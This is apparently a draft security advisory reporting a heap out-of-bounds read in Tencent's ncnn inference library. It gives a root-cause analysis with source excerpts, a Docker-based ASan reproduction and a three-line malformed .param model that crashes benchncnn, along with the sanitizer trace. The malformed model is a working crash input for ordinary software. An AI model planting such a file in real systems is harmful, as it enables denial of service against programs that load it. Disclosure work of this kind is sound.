All advisories
Draft

Malformed Model Causes Heap Out-Of-Bounds Read

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Malformed Model Causes Heap Out-Of-Bounds Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/net.cpp:125 in NetPrivate::forward_layer
Sanitizer verdict: heap-buffer-overflow

Summary

A .param graph can name a bottom blob that no layer produces. ncnn creates the blob record anyway, leaving Blob::producer at its -1 initialiser, and inference later recurses into forward_layer(-1), which dereferences layers[-1] — a read 8 bytes before the layer-pointer vector. The resulting garbage Layer* is immediately dereferenced, so a one-line model file is enough to crash any program that loads and runs it; the PoC uses benchncnn.

Detail

Net::load_param() resolves every bottom name against the blobs seen so far. When the name is unknown it does not reject the graph — it allocates a fresh blob record and records only the consumer:

// src/net.cpp:1436
            int bottom_blob_index = find_blob_index_by_name(bottom_name);
            if (bottom_blob_index == -1)
            {
                Blob& blob = d->blobs[blob_index];

                bottom_blob_index = blob_index;

                blob.name = std::string(bottom_name);
                //                 NCNN_LOGE("new blob %s", bottom_name);

                blob_index++;
            }

Blob's constructor sets producer = -1 (src/blob.cpp:10), and nothing between parsing and execution verifies that every blob reachable as a bottom actually has a producer. At inference time NetPrivate::forward_layer() follows the producer index recursively and indexes the layer vector without a bound check:

// src/net.cpp:123
int NetPrivate::forward_layer(int layer_index, std::vector<Mat>& blob_mats, const Option& opt) const
{
    const Layer* layer = layers[layer_index];

// src/net.cpp:137
        if (blob_mats[bottom_blob_index].dims == 0)
        {
            int ret = forward_layer(blobs[bottom_blob_index].producer, blob_mats, opt);

The PoC's model is 1 2 followed by ReLU relu 1 1 input out. The blob input is never produced by any layer, so its producer stays -1; benchncnn's Extractor::extract() starts at the ReLU layer, finds blob_mats[input].dims == 0, and recurses with layer_index = -1. layers is a std::vector<ncnn::Layer*> resized to layer_count == 1 at src/net.cpp:1333, i.e. a single 8-byte element; layers[-1] reads the 8 bytes immediately before that allocation, which is the "8 bytes before 8-byte region" AddressSanitizer reports. The value read is then used as a const Layer* and dereferenced on the next line.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-model-causes-heap-out-of-bounds-read && cd ncnn-poc-malformed-model-causes-heap-out-of-bounds-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 2
ReLU relu 1 1 input out
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/benchmark/benchncnn 1 1 0 -1 0 param=poc.param 'shape=[1,1,1]'

AddressSanitizer output:

loop_count = 1
num_threads = 1
powersave = 0
gpu_device = -1
cooling_down = 0
find_blob_index_by_name input failed
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000188 at pc 0x5819f55801f2 bp 0x7ffdccea5c60 sp 0x7ffdccea5c50
READ of size 8 at 0x502000000188 thread T0
    #0 0x5819f55801f1 in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:125
    #1 0x5819f5580386 in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:139
    #2 0x5819f55e0365 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #3 0x5819f55df193 in ncnn::Extractor::extract(char const*, ncnn::Mat&, int) /ncnn/src/net.cpp:2841
    #4 0x5819f54dc84f in benchmark(char const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, ncnn::Option const&, char const*) /ncnn/benchmark/benchncnn.cpp:122
    #5 0x5819f54e4eb8 in main /ncnn/benchmark/benchncnn.cpp:376
    #6 0x77a2440ef1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x77a2440ef28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5819f54da5c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)

0x502000000188 is located 8 bytes before 8-byte region [0x502000000190,0x502000000198)
allocated by thread T0 here:
    #0 0x77a24476a548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x5819f55f5ad3 in std::__new_allocator<ncnn::Layer*>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x5819f55f1a0e in std::allocator_traits<std::allocator<ncnn::Layer*> >::allocate(std::allocator<ncnn::Layer*>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x5819f55f1a0e in std::_Vector_base<ncnn::Layer*, std::allocator<ncnn::Layer*> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x5819f55eda64 in std::vector<ncnn::Layer*, std::allocator<ncnn::Layer*> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #5 0x5819f55e9616 in std::vector<ncnn::Layer*, std::allocator<ncnn::Layer*> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #6 0x5819f559eb10 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1333
    #7 0x5819f55dbc1a in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #8 0x5819f55dbf52 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #9 0x5819f54da99e in benchmark(char const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, ncnn::Option const&, char const*) /ncnn/benchmark/benchncnn.cpp:81
    #10 0x5819f54e4eb8 in main /ncnn/benchmark/benchncnn.cpp:376
    #11 0x77a2440ef1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #12 0x77a2440ef28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #13 0x5819f54da5c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/net.cpp:125 in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst